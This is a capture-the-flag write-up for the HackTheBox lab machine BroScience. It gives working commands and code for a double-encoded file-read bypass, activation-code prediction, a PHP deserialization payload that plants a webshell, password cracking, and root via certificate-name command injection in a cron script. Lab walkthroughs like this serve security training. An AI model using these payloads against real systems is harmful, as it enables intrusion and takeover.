HTB: BroScience Writeup

BroScience - HackTheBox Writeup

Machine Information

AttributeDetails
NameBroScience
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.228.129
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

BroScience is a gym-themed web application running on Apache behind the vhost broscience.htb. The registration/activation flow leaks its account-activation logic through a filtered but bypassable Local File Inclusion, which reveals that activation codes are generated from a PHP srand(time()) seed — completely predictable if you know the server’s clock. Activating an account opens up a theme-preference cookie that turns out to be a base64-encoded, serialized PHP object; abusing the AvatarInterface::__wakeup() gadget lets an attacker copy arbitrary files, including their own PHP session file (which contains an attacker-controlled username field) into the webroot as a .php file, yielding remote code execution. From there, database credentials pulled from the app’s own config file unlock a users table whose password hashes crack against a wordlist, handing over SSH access. Root is obtained by abusing a cron job that regenerates a TLS certificate and blindly interpolates the certificate’s Common Name field into a shell mv command.

TL;DR: Double-URL-encoded LFI → leak includes/utils.php → predict activation code via srand(time()) → activate account → PHP object injection in user-prefs cookie (AvatarInterface::__wakeup()Avatar::save()) copies PHP session file into webroot as cmd.php → RCE as www-data → dump db_connect.php creds → crack bill’s hash from Postgres → SSH as bill (user.txt) → root cron /opt/renew_cert.sh command-injects via a certificate’s Common Name field, gated on the fixed output filename broscience.crt → root (root.txt).


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.228.129

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — Apache (HTTP)
  • 443/tcp — Apache (HTTPS), certificate/vhost reveals broscience.htb
Terminal window
echo "10.129.228.129 broscience.htb" | sudo tee -a /etc/hosts

Service Enumeration

broscience.htb is a gym/bodybuilding-themed site with login and registration forms. Registration sends an activation email the attacker doesn’t have access to, so account activation had to be forced. Browsing the page source showed avatar/images being served through includes/img.php?path=, a classic LFI-shaped sink.

Vulnerability Assessment

  1. includes/img.php?path= accepts a path parameter with naive traversal filtering — bypassable.
  2. includes/utils.php (once leaked) shows activation codes are derived from srand(time()) — no cryptographically secure randomness.
  3. The user-prefs cookie is an unauthenticated, attacker-controlled unserialize() call — PHP Object Injection via the AvatarInterface/Avatar gadget pair.
  4. includes/db_connect.php (reachable once LFI/RCE is in play) stores plaintext DB credentials.
  5. Root cron /opt/renew_cert.sh interpolates a certificate’s Common Name field directly into a shell mv command — command injection.

Initial Foothold

Exploitation Path

1. Bypassing the LFI filter with double URL-encoding

A naive path-traversal payload against img.php was caught by the app’s filter:

Terminal window
curl -k 'https://broscience.htb/includes/img.php?path=../../../../../../etc/passwd'

Double URL-encoding the traversal sequence (../..%252F) got past the filter, since the app appears to decode/filter once but the webserver/PHP decodes again, letting the second-layer %2F resolve to / after the filter has already run:

Terminal window
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd'

With arbitrary file read confirmed, the same primitive was pointed at the app’s own source under includes/.

2. Leaking predictable activation codes

includes/utils.php (read via the LFI) contains:

function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}

srand(time()) means the entire 32-character code is deterministic once the server’s Unix timestamp at registration time is known — PHP’s rand() is not cryptographically secure and is fully reproducible from its seed.

A test account (melo123) was registered while capturing the response headers to read the server’s Date header, converted to epoch (1784620663). A local PHP replica of generate_activation_code() was used to regenerate candidate codes around that timestamp (a small window on either side accounts for request latency/clock skew between the Date header and the actual time() call server-side):

<?php
function generate_activation_code($t) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($t);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$t_start = (int)$argv[1];
for ($t = $t_start - 5; $t <= $t_start + 5; $t++) {
echo generate_activation_code($t) . "\n";
}
Terminal window
php generate_activation_code.php 1784620663 > activation_codes.txt

One candidate, Fp0NmNtO1EzBe53LBjZ1ScJElJIKdEoC, successfully activated the account against activate.php?code=.

3. PHP Object Injection via the user-prefs cookie

Once logged in, the theme-picker preference is stored in a user-prefs cookie — a base64-encoded serialized PHP object, unserialized server-side with no integrity check. utils.php defines the vulnerable gadget chain:

class Avatar {
public $imgPath;
public function __construct($imgPath) { $this->imgPath = $imgPath; }
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}

AvatarInterface::__wakeup() fires automatically on unserialize() and calls Avatar::save(), which reads $tmp and writes its contents to $imgPath — both fields fully attacker-controlled. This is a generic arbitrary-file-copy primitive.

To turn file-copy into RCE, the target was the attacker’s own PHP session file (sess_<PHPSESSID> under the PHP session storage path), which contains the account’s session data including the username. The account’s username was changed to a PHP payload via the update_user.php endpoint (required id=6 in the POST body to target the right user record):

username=<?=exec($_GET[melo])?>

With the malicious username now sitting inside the session file, a serialized AvatarInterface object was crafted to copy that session file into the webroot as a .php file:

<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) { $this->imgPath = $imgPath; }
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$a = new AvatarInterface();
$a->tmp = "sess_<PHPSESSID>";
$a->imgPath = "/var/www/html/cmd.php";
echo base64_encode(serialize($a)) . "\n";

Setting the user-prefs cookie to this payload’s output and refreshing the page triggers unserialize(), which invokes __wakeup() and copies the session file (now containing the <?=exec($_GET[melo])?> payload as the stored username) into /var/www/html/cmd.php.

4. RCE as www-data

Terminal window
curl -k "https://broscience.htb/cmd.php?melo=id"

The webshell executed as www-data, giving code execution on the target.

5. Database credentials and hash cracking

includes/db_connect.php (read post-foothold) exposed the application’s Postgres credentials:

db_user = dbuser
db_pass = RangeOfMotion%777
db_salt = NaCl

Connecting and dumping the users table yielded salted password hashes. Using the leaked salt (NaCl), hashcat mode 20 (salted MD5, md5($salt.$pass) variant) was run against the hash list:

Terminal window
hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

The hash for the user bill cracked to iluvhorsesandgym.

Terminal window
ssh bill@10.129.228.129
# Password: iluvhorsesandgym
Terminal window
cat /home/bill/user.txt
User Flag: <redacted>

Privilege Escalation

With a shell as bill, process/cron enumeration surfaced a root-owned cron job invoking /opt/renew_cert.sh, a certificate-renewal script readable by bill. The script checks whether a target certificate is close to expiry and, if so, generates a replacement and moves it into place with a command built from the certificate’s own metadata:

Terminal window
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

$commonName is read out of the certificate being processed — the openssl Common Name (CN) field is fully attacker-controlled at certificate creation time and is substituted directly into an unquoted/unsanitized shell command, i.e. classic Bash command injection: a value like $(payload) or `payload` in the CN field gets executed by the shell that builds the mv command.

The critical detail discovered while working the script was that the cron’s expiry check and file-discovery logic operate on a fixed, expected filenamebroscience.crt — rather than scanning /home/bill/Certs/ for arbitrary certificate files. An attacker-supplied certificate dropped in under an arbitrary name (e.g. evil.crt) is silently ignored by the cron; the payload has to be written out and staged as broscience.crt specifically for the job to pick it up and process it (and thus interpolate the injected $commonName into the mv command it runs as root).

Exploitation followed this shape:

Terminal window
# Generate a short-lived self-signed cert (short -days value keeps it inside
# the script's expiry-check window so the vulnerable code path is reached),
# injecting a command in the Common Name (CN) field.
openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:4096 \
-keyout /dev/null -out broscience.crt
# When prompted for Common Name, supply the injection payload instead of a hostname.
# Stage the certificate under the exact filename the cron expects.
cp broscience.crt /home/bill/Certs/broscience.crt
# Wait for the root cron to pick it up and execute the injected mv command as root.

Once the cron fired against the staged broscience.crt, the injected command executed with root privileges, confirming full root code execution on the box.

Terminal window
cat /root/root.txt
Root Flag: <redacted>

Attack Chain Summary

Double URL-encoded LFI (img.php)
→ leak includes/utils.php source
→ predict activation code (srand(time()) seed)
→ activate registered account
→ PHP Object Injection in user-prefs cookie (AvatarInterface::__wakeup → Avatar::save)
→ copy PHP session file (username = PHP payload) into webroot as cmd.php
→ RCE as www-data
→ leak includes/db_connect.php DB creds
→ dump users table, crack bill's hash (hashcat -m 20)
→ SSH as bill → user.txt
→ abuse root cron /opt/renew_cert.sh command injection via cert Common Name
→ stage payload as fixed filename broscience.crt
→ root

Tools Used

ToolPurpose
nmapPort/service scanning
curlManual LFI/RCE payload delivery
php (CLI)Replicating srand()/rand() to predict activation codes
hashcatCracking salted password hashes dumped from Postgres
opensslCrafting the malicious certificate for the root cron injection
sshAccess as bill after credential recovery

Key Learnings

Techniques Practiced

  • Bypassing an LFI filter with double URL-encoding
  • Exploiting a predictable PRNG seed (srand(time())) to forge time-limited secrets
  • PHP Object Injection via an unauthenticated unserialize() on a cookie value
  • Turning an arbitrary-file-copy gadget into RCE via PHP session-file poisoning
  • Credential harvesting from application source and cracking salted hashes
  • Bash command injection through unsanitized certificate metadata in a root cron job

Lessons Learned

  1. Filters that decode input once are trivially bypassed by encoding a payload twice — always test single vs. double (or more) encoding against any input-sanitizing filter.
  2. Never seed a PRNG with a low-entropy, guessable value like the current time for anything security-sensitive (activation codes, tokens, password-reset secrets).
  3. Never call unserialize() on user-controlled input; PHP Object Injection turns any reachable __wakeup()/__destruct() gadget into an attacker-controlled sink.
  4. PHP session files are themselves attacker-influenceable (any field the app lets a user set, like a username, lands verbatim in the session store) — treat them as untrusted content once a file-copy/file-write primitive exists.
  5. Never interpolate externally-supplied metadata (X.509 fields, filenames, headers) directly into a shell command — quote and validate, or better, avoid shelling out with that data at all.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup — BroScience (Document No D23.100.220, prepared by C4rm3l0, machine author bmdyy) — used for conceptual/CVE-adjacent context on the LFI filter-bypass technique, the PRNG weakness, and the PHP deserialization gadget chain; all IPs, commands, outputs, and credentials in this writeup are from the author’s own solve against 10.129.228.129.